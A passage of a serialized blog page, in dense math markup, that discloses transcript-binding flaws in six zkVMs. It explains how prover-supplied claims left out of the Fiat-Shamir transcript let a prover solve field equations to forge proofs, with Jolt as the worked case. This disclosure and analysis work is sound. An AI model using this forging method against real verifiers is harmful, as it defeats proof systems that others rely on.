769,"children":6772},{"className":6770,"style":6771},[290],"height:1.296em;vertical-align:-0.4509em;",[],{"type":25,"tag":271,"props":6774,"children":6776},{"className":6775},[1082],[6777,6782],{"type":25,"tag":271,"props":6778,"children":6780},{"className":6779,"style":1089},[1082,1087,1088],[6781],{"type":30,"value":1092},{"type":25,"tag":271,"props":6783,"children":6785},{"className":6784},[982],[6786],{"type":25,"tag":271,"props":6787,"children":6789},{"className":6788},[987,1100],[6790,6821],{"type":25,"tag":271,"props":6791,"children":6793},{"className":6792},[992],[6794,6816],{"type":25,"tag":271,"props":6795,"children":6797},{"className":6796,"style":6004},[997],[6798],{"type":25,"tag":271,"props":6799,"children":6800},{"style":1113},[6801,6805],{"type":25,"tag":271,"props":6802,"children":6804},{"className":6803,"style":1008},[1007],[],{"type":25,"tag":271,"props":6806,"children":6808},{"className":6807},[1013,1014,1015,1016],[6809],{"type":25,"tag":271,"props":6810,"children":6813},{"className":6811,"style":6812},[296,297,1016],"margin-right:0.03148em;",[6814],{"type":30,"value":6815},"k",{"type":25,"tag":271,"props":6817,"children":6819},{"className":6818},[1177],[6820],{"type":30,"value":1180},{"type":25,"tag":271,"props":6822,"children":6824},{"className":6823},[992],[6825],{"type":25,"tag":271,"props":6826,"children":6829},{"className":6827,"style":6828},[997],"height:0.2997em;",[6830],{"type":25,"tag":271,"props":6831,"children":6832},{},[],{"type":25,"tag":271,"props":6834,"children":6836},{"className":6835,"style":411},[337],[],{"type":25,"tag":271,"props":6838,"children":6840},{"className":6839},[296],[6841,6845,6998],{"type":25,"tag":271,"props":6842,"children":6844},{"className":6843},[391,5850],[],{"type":25,"tag":271,"props":6846,"children":6848},{"className":6847},[5855],[6849],{"type":25,"tag":271,"props":6850,"children":6852},{"className":6851},[987,1100],[6853,6986],{"type":25,"tag":271,"props":6854,"children":6856},{"className":6855},[992],[6857,6981],{"type":25,"tag":271,"props":6858,"children":6860},{"className":6859,"style":5868},[997],[6861,6950,6961],{"type":25,"tag":271,"props":6862,"children":6863},{"style":5872},[6864,6868],{"type":25,"tag":271,"props":6865,"children":6867},{"className":6866,"style":4495},[1007],[],{"type":25,"tag":271,"props":6869,"children":6871},{"className":6870},[1013,1014,1015,1016],[6872],{"type":25,"tag":271,"props":6873,"children":6875},{"className":6874},[296,1016],[6876,6881,6886],{"type":25,"tag":271,"props":6877,"children":6879},{"className":6878,"style":5889},[296,297,1016],[6880],{"type":30,"value":5892},{"type":25,"tag":271,"props":6882,"children":6884},{"className":6883},[2071,1016],[6885],{"type":30,"value":2774},{"type":25,"tag":271,"props":6887,"children":6889},{"className":6888},[296,1016],[6890,6900],{"type":25,"tag":271,"props":6891,"children":6893},{"className":6892},[296,30,1016],[6894],{"type":25,"tag":271,"props":6895,"children":6897},{"className":6896},[296,1016],[6898],{"type":30,"value":6899},"consume",{"type":25,"tag":271,"props":6901,"children":6903},{"className":6902},[982],[6904],{"type":25,"tag":271,"props":6905,"children":6907},{"className":6906},[987,1100],[6908,6938],{"type":25,"tag":271,"props":6909,"children":6911},{"className":6910},[992],[6912,6933],{"type":25,"tag":271,"props":6913,"children":6915},{"className":6914,"style":4659},[997],[6916],{"type":25,"tag":271,"props":6917,"children":6919},{"style":6918},"top:-2.3488em;margin-right:0.0714em;",[6920,6924],{"type":25,"tag":271,"props":6921,"children":6923},{"className":6922,"style":1161},[1007],[],{"type":25,"tag":271,"props":6925,"children":6927},{"className":6926},[1013,1166,1167,1016],[6928],{"type":25,"tag":271,"props":6929,"children":6931},{"className":6930,"style":6812},[296,297,1016],[6932],{"type":30,"value":6815},{"type":25,"tag":271,"props":6934,"children":6936},{"className":6935},[1177],[6937],{"type":30,"value":1180},{"type":25,"tag":271,"props":6939,"children":6941},{"className":6940},[992],[6942],{"type":25,"tag":271,"props":6943,"children":6946},{"className":6944,"style":6945},[997],"height:0.1512em;",[6947],{"type":25,"tag":271,"props":6948,"children":6949},{},[],{"type":25,"tag":271,"props":6951,"children":6952},{"style":5905},[6953,6957],{"type":25,"tag":271,"props":6954,"children":6956},{"className":6955,"style":4495},[1007],[],{"type":25,"tag":271,"props":6958,"children":6960},{"className":6959,"style":5915},[5914],[],{"type":25,"tag":271,"props":6962,"children":6963},{"style":5919},[6964,6968],{"type":25,"tag":271,"props":6965,"children":6967},{"className":6966,"style":4495},[1007],[],{"type":25,"tag":271,"props":6969,"children":6971},{"className":6970},[1013,1014,1015,1016],[6972],{"type":25,"tag":271,"props":6973,"children":6975},{"className":6974},[296,1016],[6976],{"type":25,"tag":271,"props":6977,"children":6979},{"className":6978},[296,1016],[6980],{"type":30,"value":968},{"type":25,"tag":271,"props":6982,"children":6984},{"className":6983},[1177],[6985],{"type":30,"value":1180},{"type":25,"tag":271,"props":6987,"children":6989},{"className":6988},[992],[6990],{"type":25,"tag":271,"props":6991,"children":6994},{"className":6992,"style":6993},[997],"height:0.4509em;",[6995],{"type":25,"tag":271,"props":6996,"children":6997},{},[],{"type":25,"tag":271,"props":6999,"children":7001},{"className":7000},[437,5850],[],{"type":25,"tag":26,"props":7003,"children":7004},{},[7005,7007,7190],{"type":30,"value":7006},"The global check: ",{"type":25,"tag":264,"props":7008,"children":7010},{"className":7009},[267,268],[7011],{"type":25,"tag":271,"props":7012,"children":7014},{"className":7013},[274],[7015],{"type":25,"tag":271,"props":7016,"children":7018},{"className":7017,"ariaHidden":280},[279],[7019,7177],{"type":25,"tag":271,"props":7020,"children":7022},{"className":7021},[285],[7023,7028,7085,7089,7098,7103,7164,7168,7173],{"type":25,"tag":271,"props":7024,"children":7027},{"className":7025,"style":7026},[290],"height:1.06em;vertical-align:-0.31em;",[],{"type":25,"tag":271,"props":7029,"children":7031},{"className":7030},[1082],[7032,7037],{"type":25,"tag":271,"props":7033,"children":7035},{"className":7034,"style":1089},[1082,1087,1088],[7036],{"type":30,"value":1092},{"type":25,"tag":271,"props":7038,"children":7040},{"className":7039},[982],[7041],{"type":25,"tag":271,"props":7042,"children":7044},{"className":7043},[987,1100],[7045,7074],{"type":25,"tag":271,"props":7046,"children":7048},{"className":7047},[992],[7049,7069],{"type":25,"tag":271,"props":7050,"children":7052},{"className":7051,"style":6544},[997],[7053],{"type":25,"tag":271,"props":7054,"children":7055},{"style":1113},[7056,7060],{"type":25,"tag":271,"props":7057,"children":7059},{"className":7058,"style":1008},[1007],[],{"type":25,"tag":271,"props":7061,"children":7063},{"className":7062},[1013,1014,1015,1016],[7064],{"type":25,"tag":271,"props":7065,"children":7067},{"className":7066},[296,297,1016],[7068],{"type":30,"value":1937},{"type":25,"tag":271,"props":7070,"children":7072},{"className":7071},[1177],[7073],{"type":30,"value":1180},{"type":25,"tag":271,"props":7075,"children":7077},{"className":7076},[992],[7078],{"type":25,"tag":271,"props":7079,"children":7081},{"className":7080,"style":6828},[997],[7082],{"type":25,"tag":271,"props":7083,"children":7084},{},[],{"type":25,"tag":271,"props":7086,"children":7088},{"className":7087,"style":411},[337],[],{"type":25,"tag":271,"props":7090,"children":7092},{"className":7091},[296,30],[7093],{"type":25,"tag":271,"props":7094,"children":7096},{"className":7095},[296],[7097],{"type":30,"value":6428},{"type":25,"tag":271,"props":7099,"children":7101},{"className":7100,"style":2296},[296],[7102],{"type":30,"value":6434},{"type":25,"tag":271,"props":7104,"children":7106},{"className":7105},[296],[7107,7116],{"type":25,"tag":271,"props":7108,"children":7110},{"className":7109},[296,30],[7111],{"type":25,"tag":271,"props":7112,"children":7114},{"className":7113},[296],[7115],{"type":30,"value":6448},{"type":25,"tag":271,"props":7117,"children":7119},{"className":7118},[982],[7120],{"type":25,"tag":271,"props":7121,"children":7123},{"className":7122},[987,1100],[7124,7153],{"type":25,"tag":271,"props":7125,"children":7127},{"className":7126},[992],[7128,7148],{"type":25,"tag":271,"props":7129,"children":7131},{"className":7130,"style":1918},[997],[7132],{"type":25,"tag":271,"props":7133,"children":7134},{"style":6467},[7135,7139],{"type":25,"tag":271,"props":7136,"children":7138},{"className":7137,"style":1008},[1007],[],{"type":25,"tag":271,"props":7140,"children":7142},{"className":7141},[1013,1014,1015,1016],[7143],{"type":25,"tag":271,"props":7144,"children":7146},{"className":7145},[296,297,1016],[7147],{"type":30,"value":1937},{"type":25,"tag":271,"props":7149,"children":7151},{"className":7150},[1177],[7152],{"type":30,"value":1180},{"type":25,"tag":271,"props":7154,"children":7156},{"className":7155},[992],[7157],{"type":25,"tag":271,"props":7158,"children":7160},{"className":7159,"style":1619},[997],[7161],{"type":25,"tag":271,"props":7162,"children":7163},{},[],{"type":25,"tag":271,"props":7165,"children":7167},{"className":7166,"style":338},[337],[],{"type":25,"tag":271,"props":7169,"children":7171},{"className":7170},[356],[7172],{"type":30,"value":1065},{"type":25,"tag":271,"props":7174,"children":7176},{"className":7175,"style":338},[337],[],{"type":25,"tag":271,"props":7178,"children":7180},{"className":7179},[285],[7181,7185],{"type":25,"tag":271,"props":7182,"children":7184},{"className":7183,"style":3128},[290],[],{"type":25,"tag":271,"props":7186,"children":7188},{"className":7187},[296],[7189],{"type":30,"value":953},{"type":30,"value":1860},{"type":25,"tag":26,"props":7192,"children":7193},{},[7194,7199,7201,7207],{"type":25,"tag":38,"props":7195,"children":7196},{},[7197],{"type":30,"value":7198},"Why this is vulnerable:",{"type":30,"value":7200}," The ",{"type":25,"tag":264,"props":7202,"children":7204},{"className":7203},[],[7205],{"type":30,"value":7206},"claimed_sum",{"type":30,"value":7208}," values are prover-supplied. If they're not in the transcript before challenges are derived, the prover can adjust them to make the sum zero for an invalid execution.",{"type":25,"tag":92,"props":7210,"children":7211},{},[],{"type":25,"tag":96,"props":7213,"children":7215},{"id":7214},"the-universal-attack-pattern",[7216],{"type":30,"value":7217},"The Universal Attack Pattern",{"type":25,"tag":26,"props":7219,"children":7220},{},[7221],{"type":30,"value":7222},"Now we can describe the attack pattern that works on all six systems:",{"type":25,"tag":26,"props":7224,"children":7225},{},[7226],{"type":25,"tag":698,"props":7227,"children":7230},{"alt":7228,"src":7229},"2_attack_pattern","/posts/zkvms-unfaithful-claims/2_attack_pattern.svg",[],{"type":25,"tag":26,"props":7232,"children":7233},{},[7234,7236,7261],{"type":30,"value":7235},"When a value ",{"type":25,"tag":264,"props":7237,"children":7239},{"className":7238},[267,268],[7240],{"type":25,"tag":271,"props":7241,"children":7243},{"className":7242},[274],[7244],{"type":25,"tag":271,"props":7245,"children":7247},{"className":7246,"ariaHidden":280},[279],[7248],{"type":25,"tag":271,"props":7249,"children":7251},{"className":7250},[285],[7252,7256],{"type":25,"tag":271,"props":7253,"children":7255},{"className":7254,"style":291},[290],[],{"type":25,"tag":271,"props":7257,"children":7259},{"className":7258,"style":466},[296,297],[7260],{"type":30,"value":795},{"type":30,"value":7262}," isn't transcript-bound:",{"type":25,"tag":661,"props":7264,"children":7265},{},[7266,7297,7374,7520],{"type":25,"tag":112,"props":7267,"children":7268},{},[7269,7271,7296],{"type":30,"value":7270},"Challenges are fixed (independent of ",{"type":25,"tag":264,"props":7272,"children":7274},{"className":7273},[267,268],[7275],{"type":25,"tag":271,"props":7276,"children":7278},{"className":7277},[274],[7279],{"type":25,"tag":271,"props":7280,"children":7282},{"className":7281,"ariaHidden":280},[279],[7283],{"type":25,"tag":271,"props":7284,"children":7286},{"className":7285},[285],[7287,7291],{"type":25,"tag":271,"props":7288,"children":7290},{"className":7289,"style":291},[290],[],{"type":25,"tag":271,"props":7292,"children":7294},{"className":7293,"style":466},[296,297],[7295],{"type":30,"value":795},{"type":30,"value":440},{"type":25,"tag":112,"props":7298,"children":7299},{},[7300,7302],{"type":30,"value":7301},"The verification equation has form: ",{"type":25,"tag":264,"props":7303,"children":7305},{"className":7304},[267,268],[7306],{"type":25,"tag":271,"props":7307,"children":7309},{"className":7308},[274],[7310],{"type":25,"tag":271,"props":7311,"children":7313},{"className":7312,"ariaHidden":280},[279],[7314,7355],{"type":25,"tag":271,"props":7315,"children":7317},{"className":7316},[285],[7318,7322,7327,7332,7337,7342,7346,7351],{"type":25,"tag":271,"props":7319,"children":7321},{"className":7320,"style":375},[290],[],{"type":25,"tag":271,"props":7323,"children":7325},{"className":7324,"style":4500},[296,297],[7326],{"type":30,"value":4503},{"type":25,"tag":271,"props":7328,"children":7330},{"className":7329},[391],[7331],{"type":30,"value":394},{"type":25,"tag":271,"props":7333,"children":7335},{"className":7334,"style":466},[296,297],[7336],{"type":30,"value":795},{"type":25,"tag":271,"props":7338,"children":7340},{"className":7339},[437],[7341],{"type":30,"value":440},{"type":25,"tag":271,"props":7343,"children":7345},{"className":7344,"style":338},[337],[],{"type":25,"tag":271,"props":7347,"children":7349},{"className":7348},[356],[7350],{"type":30,"value":1065},{"type":25,"tag":271,"props":7352,"children":7354},{"className":7353,"style":338},[337],[],{"type":25,"tag":271,"props":7356,"children":7358},{"className":7357},[285],[7359,7364],{"type":25,"tag":271,"props":7360,"children":7363},{"className":7361,"style":7362},[290],"height:0.8095em;vertical-align:-0.1944em;",[],{"type":25,"tag":271,"props":7365,"children":7367},{"className":7366},[296,30],[7368],{"type":25,"tag":271,"props":7369,"children":7371},{"className":7370},[296],[7372],{"type":30,"value":7373},"target",{"type":25,"tag":112,"props":7375,"children":7376},{},[7377,7379,7405,7407],{"type":30,"value":7378},"If ",{"type":25,"tag":264,"props":7380,"children":7382},{"className":7381},[267,268],[7383],{"type":25,"tag":271,"props":7384,"children":7386},{"className":7385},[274],[7387],{"type":25,"tag":271,"props":7388,"children":7390},{"className":7389,"ariaHidden":280},[279],[7391],{"type":25,"tag":271,"props":7392,"children":7394},{"className":7393},[285],[7395,7400],{"type":25,"tag":271,"props":7396,"children":7399},{"className":7397,"style":7398},[290],"height:0.8889em;vertical-align:-0.1944em;",[],{"type":25,"tag":271,"props":7401,"children":7403},{"className":7402,"style":4500},[296,297],[7404],{"type":30,"value":4503},{"type":30,"value":7406}," is linear: ",{"type":25,"tag":264,"props":7408,"children":7410},{"className":7409},[267,268],[7411],{"type":25,"tag":271,"props":7412,"children":7414},{"className":7413},[274],[7415],{"type":25,"tag":271,"props":7416,"children":7418},{"className":7417,"ariaHidden":280},[279],[7419,7448,7475,7503],{"type":25,"tag":271,"props":7420,"children":7422},{"className":7421},[285],[7423,7428,7435,7439,7444],{"type":25,"tag":271,"props":7424,"children":7427},{"className":7425,"style":7426},[290],"height:0.4445em;",[],{"type":25,"tag":271,"props":7429,"children":7432},{"className":7430,"style":7431},[296,297],"margin-right:0.0037em;",[7433],{"type":30,"value":7434},"α",{"type":25,"tag":271,"props":7436,"children":7438},{"className":7437,"style":2066},[337],[],{"type":25,"tag":271,"props":7440,"children":7442},{"className":7441},[2071],[7443],{"type":30,"value":3585},{"type":25,"tag":271,"props":7445,"children":7447},{"className":7446,"style":2066},[337],[],{"type":25,"tag":271,"props":7449,"children":7451},{"className":7450},[285],[7452,7457,7462,7466,7471],{"type":25,"tag":271,"props":7453,"children":7456},{"className":7454,"style":7455},[290],"height:0.7667em;vertical-align:-0.0833em;",[],{"type":25,"tag":271,"props":7458,"children":7460},{"className":7459,"style":466},[296,297],[7461],{"type":30,"value":795},{"type":25,"tag":271,"props":7463,"children":7465},{"className":7464,"style":2066},[337],[],{"type":25,"tag":271,"props":7467,"children":7469},{"className":7468},[2071],[7470],{"type":30,"value":2074},{"type":25,"tag":271,"props":7472,"children":7474},{"className":7473,"style":2066},[337],[],{"type":25,"tag":271,"props":7476,"children":7478},{"className":7477},[285],[7479,7483,7490,7494,7499],{"type":25,"tag":271,"props":7480,"children":7482},{"className":7481,"style":7398},[290],[],{"type":25,"tag":271,"props":7484,"children":7487},{"className":7485,"style":7486},[296,297],"margin-right:0.05278em;",[7488],{"type":30,"value":7489},"β",{"type":25,"tag":271,"props":7491,"children":7493},{"className":7492,"style":338},[337],[],{"type":25,"tag":271,"props":7495,"children":7497},{"className":7496},[356],[7498],{"type":30,"value":1065},{"type":25,"tag":271,"props":7500,"children":7502},{"className":7501,"style":338},[337],[],{"type":25,"tag":271,"props":7504,"children":7506},{"className":7505},[285],[7507,7511],{"type":25,"tag":271,"props":7508,"children":7510},{"className":7509,"style":7362},[290],[],{"type":25,"tag":271,"props":7512,"children":7514},{"className":7513},[296,30],[7515],{"type":25,"tag":271,"props":7516,"children":7518},{"className":7517},[296],[7519],{"type":30,"value":7373},{"type":25,"tag":112,"props":7521,"children":7522},{},[7523,7525],{"type":30,"value":7524},"Solve: ",{"type":25,"tag":264,"props":7526,"children":7528},{"className":7527},[267,268],[7529],{"type":25,"tag":271,"props":7530,"children":7532},{"className":7531},[274],[7533],{"type":25,"tag":271,"props":7534,"children":7536},{"className":7535,"ariaHidden":280},[279],[7537,7563,7598],{"type":25,"tag":271,"props":7538,"children":7540},{"className":7539},[285],[7541,7545,7550,7554,7559],{"type":25,"tag":271,"props":7542,"children":7544},{"className":7543,"style":291},[290],[],{"type":25,"tag":271,"props":7546,"children":7548},{"className":7547,"style":466},[296,297],[7549],{"type":30,"value":795},{"type":25,"tag":271,"props":7551,"children":7553},{"className":7552,"style":338},[337],[],{"type":25,"tag":271,"props":7555,"children":7557},{"className":7556},[356],[7558],{"type":30,"value":1065},{"type":25,"tag":271,"props":7560,"children":7562},{"className":7561,"style":338},[337],[],{"type":25,"tag":271,"props":7564,"children":7566},{"className":7565},[285],[7567,7571,7576,7585,7589,7594],{"type":25,"tag":271,"props":7568,"children":7570},{"className":7569,"style":375},[290],[],{"type":25,"tag":271,"props":7572,"children":7574},{"className":7573},[391],[7575],{"type":30,"value":394},{"type":25,"tag":271,"props":7577,"children":7579},{"className":7578},[296,30],[7580],{"type":25,"tag":271,"props":7581,"children":7583},{"className":7582},[296],[7584],{"type":30,"value":7373},{"type":25,"tag":271,"props":7586,"children":7588},{"className":7587,"style":2066},[337],[],{"type":25,"tag":271,"props":7590,"children":7592},{"className":7591},[2071],[7593],{"type":30,"value":2774},{"type":25,"tag":271,"props":7595,"children":7597},{"className":7596,"style":2066},[337],[],{"type":25,"tag":271,"props":7599,"children":7601},{"className":7600},[285],[7602,7606,7611,7616,7622],{"type":25,"tag":271,"props":7603,"children":7605},{"className":7604,"style":375},[290],[],{"type":25,"tag":271,"props":7607,"children":7609},{"className":7608,"style":7486},[296,297],[7610],{"type":30,"value":7489},{"type":25,"tag":271,"props":7612,"children":7614},{"className":7613},[437],[7615],{"type":30,"value":440},{"type":25,"tag":271,"props":7617,"children":7619},{"className":7618},[296],[7620],{"type":30,"value":7621},"/",{"type":25,"tag":271,"props":7623,"children":7625},{"className":7624,"style":7431},[296,297],[7626],{"type":30,"value":7434},{"type":25,"tag":26,"props":7628,"children":7629},{},[7630],{"type":30,"value":7631},"In the simplest linear case, forging reduces to solving a low-dimensional field equation, while other systems require small coupled systems.",{"type":25,"tag":26,"props":7633,"children":7634},{},[7635,7637,7717],{"type":30,"value":7636},"For systems with multiple unbound values, we get a system of linear equations. Gaussian elimination solves it in ",{"type":25,"tag":264,"props":7638,"children":7640},{"className":7639},[267,268],[7641],{"type":25,"tag":271,"props":7642,"children":7644},{"className":7643},[274],[7645],{"type":25,"tag":271,"props":7646,"children":7648},{"className":7647,"ariaHidden":280},[279],[7649],{"type":25,"tag":271,"props":7650,"children":7652},{"className":7651},[285],[7653,7658,7664,7669,7712],{"type":25,"tag":271,"props":7654,"children":7657},{"className":7655,"style":7656},[290],"height:1.0641em;vertical-align:-0.25em;",[],{"type":25,"tag":271,"props":7659,"children":7661},{"className":7660,"style":2296},[296,297],[7662],{"type":30,"value":7663},"O",{"type":25,"tag":271,"props":7665,"children":7667},{"className":7666},[391],[7668],{"type":30,"value":394},{"type":25,"tag":271,"props":7670,"children":7672},{"className":7671},[296],[7673,7678],{"type":25,"tag":271,"props":7674,"children":7676},{"className":7675},[296,297],[7677],{"type":30,"value":1023},{"type":25,"tag":271,"props":7679,"children":7681},{"className":7680},[982],[7682],{"type":25,"tag":271,"props":7683,"children":7685},{"className":7684},[987],[7686],{"type":25,"tag":271,"props":7687,"children":7689},{"className":7688},[992],[7690],{"type":25,"tag":271,"props":7691,"children":7694},{"className":7692,"style":7693},[997],"height:0.8141em;",[7695],{"type":25,"tag":271,"props":7696,"children":7697},{"style":1002},[7698,7702],{"type":25,"tag":271,"props":7699,"children":7701},{"className":7700,"style":1008},[1007],[],{"type":25,"tag":271,"props":7703,"children":7705},{"className":7704},[1013,1014,1015,1016],[7706],{"type":25,"tag":271,"props":7707,"children":7709},{"className":7708},[296,1016],[7710],{"type":30,"value":7711},"3",{"type":25,"tag":271,"props":7713,"children":7715},{"className":7714},[437],[7716],{"type":30,"value":440},{"type":30,"value":7718}," field operations. For non-linear constraints, we might need to use some more advanced techniques like resultants and Groebner bases.",{"type":25,"tag":92,"props":7720,"children":7721},{},[],{"type":25,"tag":96,"props":7723,"children":7725},{"id":7724},"the-six-broken-systems",[7726],{"type":30,"value":7727},"The Six Broken Systems",{"type":25,"tag":26,"props":7729,"children":7730},{},[7731],{"type":25,"tag":698,"props":7732,"children":7735},{"alt":7733,"src":7734},"3_six_broken_systems","/posts/zkvms-unfaithful-claims/3_six_broken_systems.svg",[],{"type":25,"tag":26,"props":7737,"children":7738},{},[7739],{"type":30,"value":7740},"Now let's see how this plays out in each system. We'll go deep on the first one (Jolt) to establish the pattern, then focus on what's unique about each subsequent system.",{"type":25,"tag":92,"props":7742,"children":7743},{},[],{"type":25,"tag":247,"props":7745,"children":7747},{"id":7746},"jolt-a16z",[7748],{"type":30,"value":7749},"Jolt (a16z)",{"type":25,"tag":26,"props":7751,"children":7752},{},[7753],{"type":30,"value":7754},"Jolt is a zkVM for RISC-V programs, built by a16z. It uses sumcheck extensively to verify execution constraints.",{"type":25,"tag":26,"props":7756,"children":7757},{},[7758],{"type":25,"tag":38,"props":7759,"children":7760},{},[7761],{"type":30,"value":7762},"The proof structure:",{"type":25,"tag":7764,"props":7765,"children":7767},"pre",{"code":7766},"JoltProof {\n    commitments: Vec\u003CCommitment>,           // Polynomial commitments to trace\n    opening_claims: Map\u003COpeningId, Claim>,  // \u003C- THE VULNERABLE VALUES\n    proofs: Map\u003CStage, SumcheckProof>,      // Sumcheck and opening proofs\n    ...\n}\n",[7768],{"type":25,"tag":264,"props":7769,"children":7770},{"__ignoreMap":7},[7771],{"type":30,"value":7766},{"type":25,"tag":26,"props":7773,"children":7774},{},[7775],{"type":25,"tag":38,"props":7776,"children":7777},{},[7778],{"type":30,"value":7779},"The verification flow:",{"type":25,"tag":26,"props":7781,"children":7782},{},[7783],{"type":25,"tag":698,"props":7784,"children":7787},{"alt":7785,"src":7786},"4_jolt_verification_flow","/posts/zkvms-unfaithful-claims/4_jolt_verification_flow.svg",[],{"type":25,"tag":26,"props":7789,"children":7790},{},[7791,7796,7798,7804,7806,7812,7814,7819],{"type":25,"tag":38,"props":7792,"children":7793},{},[7794],{"type":30,"value":7795},"The bug:",{"type":30,"value":7797}," Each sumcheck instance provides an ",{"type":25,"tag":264,"props":7799,"children":7801},{"className":7800},[],[7802],{"type":30,"value":7803},"input_claim",{"type":30,"value":7805},", which is the value the polynomial allegedly sums to over the Boolean hypercube. These claims come from ",{"type":25,"tag":264,"props":7807,"children":7809},{"className":7808},[],[7810],{"type":30,"value":7811},"opening_claims",{"type":30,"value":7813}," in the proof, but they were ",{"type":25,"tag":38,"props":7815,"children":7816},{},[7817],{"type":30,"value":7818},"never absorbed into the transcript",{"type":30,"value":7820}," before the batching coefficients were derived.",{"type":25,"tag":26,"props":7822,"children":7823},{},[7824],{"type":25,"tag":698,"props":7825,"children":7828},{"alt":7826,"src":7827},"5_jolt_flow","/posts/zkvms-unfaithful-claims/5_jolt_flow.svg",[],{"type":25,"tag":26,"props":7830,"children":7831},{},[7832],{"type":25,"tag":38,"props":7833,"children":7834},{},[7835],{"type":30,"value":7836},"How sumcheck uses opening_claims:",{"type":25,"tag":26,"props":7838,"children":7839},{},[7840,7842,7848,7850,7927],{"type":30,"value":7841},"In Jolt's batched sumcheck, the verifier computes a target value ",{"type":25,"tag":264,"props":7843,"children":7845},{"className":7844},[],[7846],{"type":30,"value":7847},"BatchedClaim",{"type":30,"value":7849}," by taking a random linear combination of the individual claims ",{"type":25,"tag":264,"props":7851,"children":7853},{"className":7852},[267,268],[7854],{"type":25,"tag":271,"props":7855,"children":7857},{"className":7856},[274],[7858],{"type":25,"tag":271,"props":7859,"children":7861},{"className":7860,"ariaHidden":280},[279],[7862],{"type":25,"tag":271,"props":7863,"children":7865},{"className":7864},[285],[7866,7870],{"type":25,"tag":271,"props":7867,"children":7869},{"className":7868,"style":3320},[290],[],{"type":25,"tag":271,"props":7871,"children":7873},{"className":7872},[296],[7874,7879],{"type":25,"tag":271,"props":7875,"children":7877},{"className":7876,"style":1052},[296,297],[7878],{"type":30,"value":1055},{"type":25,"tag":271,"props":7880,"children":7882},{"className":7881},[982],[7883],{"type":25,"tag":271,"props":7884,"children":7886},{"className":7885},[987,1100],[7887,7916],{"type":25,"tag":271,"props":7888,"children":7890},{"className":7889},[992],[7891,7911],{"type":25,"tag":271,"props":7892,"children":7894},{"className":7893,"style":1918},[997],[7895],{"type":25,"tag":271,"props":7896,"children":7897},{"style":2750},[7898,7902],{"type":25,"tag":271,"props":7899,"children":7901},{"className":7900,"style":1008},[1007],[],{"type":25,"tag":271,"props":7903,"children":7905},{"className":7904},[1013,1014,1015,1016],[7906],{"type":25,"tag":271,"props":7907,"children":7909},{"className":7908},[296,297,1016],[7910],{"type":30,"value":1937},{"type":25,"tag":271,"props":7912,"children":7914},{"className":7913},[1177],[7915],{"type":30,"value":1180},{"type":25,"tag":271,"props":7917,"children":7919},{"className":7918},[992],[7920],{"type":25,"tag":271,"props":7921,"children":7923},{"className":7922,"style":1619},[997],[7924],{"type":25,"tag":271,"props":7925,"children":7926},{},[],{"type":30,"value":359},{"type":25,"tag":26,"props":7929,"children":7930},{},[7931],{"type":25,"tag":264,"props":7932,"children":7934},{"className":7933},[267,268],[7935],{"type":25,"tag":271,"props":7936,"children":7938},{"className":7937},[274],[7939],{"type":25,"tag":271,"props":7940,"children":7942},{"className":7941,"ariaHidden":280},[279],[7943,7973,8114],{"type":25,"tag":271,"props":7944,"children":7946},{"className":7945},[285],[7947,7951,7960,7964,7969],{"type":25,"tag":271,"props":7948,"children":7950},{"className":7949,"style":326},[290],[],{"type":25,"tag":271,"props":7952,"children":7954},{"className":7953},[296,30],[7955],{"type":25,"tag":271,"props":7956,"children":7958},{"className":7957},[296],[7959],{"type":30,"value":7847},{"type":25,"tag":271,"props":7961,"children":7963},{"className":7962,"style":338},[337],[],{"type":25,"tag":271,"props":7965,"children":7967},{"className":7966},[356],[7968],{"type":30,"value":1065},{"type":25,"tag":271,"props":7970,"children":7972},{"className":7971,"style":338},[337],[],{"type":25,"tag":271,"props":7974,"children":7976},{"className":7975},[285],[7977,7982,8039,8043,8101,8105,8110],{"type":25,"tag":271,"props":7978,"children":7981},{"className":7979,"style":7980},[290],"height:1.0497em;vertical-align:-0.2997em;",[],{"type":25,"tag":271,"props":7983,"children":7985},{"className":7984},[1082],[7986,7991],{"type":25,"tag":271,"props":7987,"children":7989},{"className":7988,"style":1089},[1082,1087,1088],[7990],{"type":30,"value":1092},{"type":25,"tag":271,"props":7992,"children":7994},{"className":7993},[982],[7995],{"type":25,"tag":271,"props":7996,"children":7998},{"className":7997},[987,1100],[7999,8028],{"type":25,"tag":271,"props":8000,"children":8002},{"className":8001},[992],[8003,8023],{"type":25,"tag":271,"props":8004,"children":8006},{"className":8005,"style":6544},[997],[8007],{"type":25,"tag":271,"props":8008,"children":8009},{"style":1113},[8010,8014],{"type":25,"tag":271,"props":8011,"children":8013},{"className":8012,"style":1008},[1007],[],{"type":25,"tag":271,"props":8015,"children":8017},{"className":8016},[1013,1014,1015,1016],[8018],{"type":25,"tag":271,"props":8019,"children":8021},{"className":8020},[296,297,1016],[8022],{"type":30,"value":1937},{"type":25,"tag":271,"props":8024,"children":8026},{"className":8025},[1177],[8027],{"type":30,"value":1180},{"type":25,"tag":271,"props":8029,"children":8031},{"className":8030},[992],[8032],{"type":25,"tag":271,"props":8033,"children":8035},{"className":8034,"style":6828},[997],[8036],{"type":25,"tag":271,"props":8037,"children":8038},{},[],{"type":25,"tag":271,"props":8040,"children":8042},{"className":8041,"style":411},[337],[],{"type":25,"tag":271,"props":8044,"children":8046},{"className":8045},[296],[8047,8052],{"type":25,"tag":271,"props":8048,"children":8050},{"className":8049,"style":7431},[296,297],[8051],{"type":30,"value":7434},{"type":25,"tag":271,"props":8053,"children":8055},{"className":8054},[982],[8056],{"type":25,"tag":271,"props":8057,"children":8059},{"className":8058},[987,1100],[8060,8090],{"type":25,"tag":271,"props":8061,"children":8063},{"className":8062},[992],[8064,8085],{"type":25,"tag":271,"props":8065,"children":8067},{"className":8066,"style":1918},[997],[8068],{"type":25,"tag":271,"props":8069,"children":8071},{"style":8070},"top:-2.55em;margin-left:-0.0037em;margin-right:0.05em;",[8072,8076],{"type":25,"tag":271,"props":8073,"children":8075},{"className":8074,"style":1008},[1007],[],{"type":25,"tag":271,"props":8077,"children":8079},{"className":8078},[1013,1014,1015,1016],[8080],{"type":25,"tag":271,"props":8081,"children":8083},{"className":8082},[296,297,1016],[8084],{"type":30,"value":1937},{"type":25,"tag":271,"props":8086,"children":8088},{"className":8087},[1177],[8089],{"type":30,"value":1180},{"type":25,"tag":271,"props":8091,"children":8093},{"className":8092},[992],[8094],{"type":25,"tag":271,"props":8095,"children":8097},{"className":8096,"style":1619},[997],[8098],{"type":25,"tag":271,"props":8099,"children":8100},{},[],{"type":25,"tag":271,"props":8102,"children":8104},{"className":8103,"style":2066},[337],[],{"type":25,"tag":271,"props":8106,"children":8108},{"className":8107},[2071],[8109],{"type":30,"value":3585},{"type":25,"tag":271,"props":8111,"c